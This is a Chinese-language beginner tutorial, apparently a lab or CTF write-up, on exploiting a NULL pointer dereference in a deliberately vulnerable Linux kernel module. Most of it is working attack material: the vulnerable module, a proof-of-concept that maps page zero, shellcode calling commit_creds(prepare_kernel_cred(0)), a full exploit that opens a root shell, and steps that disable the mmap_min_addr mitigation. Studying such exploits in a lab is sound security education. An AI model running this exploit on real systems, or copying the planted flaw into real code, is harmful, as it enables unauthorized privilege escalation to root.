新手玩转Linux Kernel漏洞之Null Pointer Dereference

新手玩转Linux Kernel漏洞之Null Pointer Dereference

前言

这是我内核漏洞的入门篇, 不是很复杂, 希望能给徘徊在门外的小伙伴一点启发.

漏洞描述

    A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

漏洞代码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

void (*my_funptr)(void);

int bug1_write(struct file* file, const char* buf, unsigned long len){
    my_funptr();
    return len;
}

static int __int null_dereference_init(void){
    printk(KERN_ALERT "null_dereference driver init!\n");
    create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
    return 0;
}

static void __exit null_dereference_exit(void){
    printk(KERN_ALERT "null_dereference driver exit\n");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);

小结: 这是一个Linux Kernel Module类型代码,载入内核执行初始化null_dereference_init. 在proc中创建一个Entry为bug1.当write bug1时, 会触发Kernel调用bug1_write函数,而bug1_write中的my_funptr()是一个空指针.建议大家去学习一下这段代码中不懂的点, 理解上面这段代码很是重要

编译Module

obj-m := null_dereference.o
KERNELDR := /home/bill/CTF/Kernel/linux-2.6.32/
PWD := $(shell pwd)
modules:
    $(MAKE) -C $(KERNELDR) M=$(PWD) modules
modules_install:
    $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
    $(MAKE) -C $(KERNELDR) M=$(PWD) clean

需要注意的几点: KERNELDR填写为自己机器的源码根目录, 我自己在Ubuntu 12.04 i386上面没有编译成功, 在Ubuntu 16.04 64bit上面编译成功了.

将null_dereference.ko放入到busybox-1.19.4/_install/usr中.

Poc.c

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

char payload[] = "\xe9\xea\xbe\xad\xde"; //jmp 0xdeadbeef

int main(){
    mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "bill", 4); //call my_funptr
    return 0;
}

静态编译,放入busybox-1.19.4/_install/usr中,gcc -static Poc.c -o Poc.

调试

重新打包rootfs.img, 启动Qemu, CTRL + ALT + 2, 输入gdbserver tcp::1234,

CTRL + ALT + 1切回命令行,

insmod /usr/null_dereference.ko #载入Module
/usr/Poc

结果:

结论:证明执行了我们的shellcode.

提权

从普通用户提权到root用户.

知识点

    进程的特权等级是通过struct cred结构体来标识的.当一个进程的uid,gid为0, 就表明这是一个root进程,提权成功.

struct cred {
    atomic_t usage;
    #ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    uid_t       uid;        /* real UID of the task */
    gid_t       gid;        /* real GID of the task */
    uid_t       suid;       /* saved UID of the task */
    gid_t       sgid;       /* saved GID of the task */
    uid_t       euid;       /* effective UID of the task */
    gid_t       egid;       /* effective GID of the task */
    uid_t       fsuid;      /* UID for VFS ops */
    gid_t       fsgid;      /* GID for VFS ops */
    ......
}

Expolit

1. 思路: 执行commit_creds(prepare_kernel_cred(0))

/*
 *prepare_kernel_cred - Prepare a set of credentials for a kernel service
 */
struct cred *prepare_kernel_cred(struct task_struct *daemon);
/*
 * commit_creds - Install new credentials upon the current task
 */
int commit_creds(struct cred* new)

1. 获取函数地址

/# grep prepare_kernel_cred /proc/kallsyms
c1069be0 T prepare_kernel_cred
/# grep commit_creds /proc/kallsyms
c1069a40 T commit_creds

1. 编写shellcode

xor %eax, %eax
call 0xc1069be0 //prepare_kernel_cred
call 0xc1069a40 //commit_creds
ret

保存为payload.s

$ gcc payload.s -o payload -nostdlib -Ttext=0
$ objdump -d payload

00000000 <.text>:
   0:   31 c0                   xor    %eax,%eax
   2:   e8 d9 9b 06 c1          call   c1069be0 <_end+0xc1068bd0>
   7:   e8 34 9a 06 c1          call   c1069a40 <_end+0xc1068a30>
   c:   c3  
char payload[] = "\x31\xc0\xe8\xd9\x9b\x06\xc1\xe8\x34\x9a\x06\xc1\xc3";

1. 编写exp.c

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
/*
 *xor %eax, %eax
 *call 0xc1069be0
 *call 0xc1069a40
 *ret
 */
char payload[] = "\x31\xc0\xe8\xd9\x9b\x06\xc1\xe8\x34\x9a\x06\xc1\xc3";

int main(){
    mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "bill", 4); //call my_funptr
        system("/bin/sh");
    return 0;
}

编译: gcc -static exp.c -o exp, 拷贝入’/usr’目录, 重新打包.
4. 提权
由于内核已经使用mmap_min_addr作为缓解措施, 我们需要让你重新为0.

#/ sysctl -w "vm.mmap_min_addr=0"
#/ mdkir -p /home/bill
#/ touch /etc/passwd
#/ touch /etc/group
#/ adduser bill
#/ insmod /usr/null_dereference.ko
#/ su bill
~$ /usr/exp
/home/bill #

结果图:

相关链接

pwn4
相关文件下载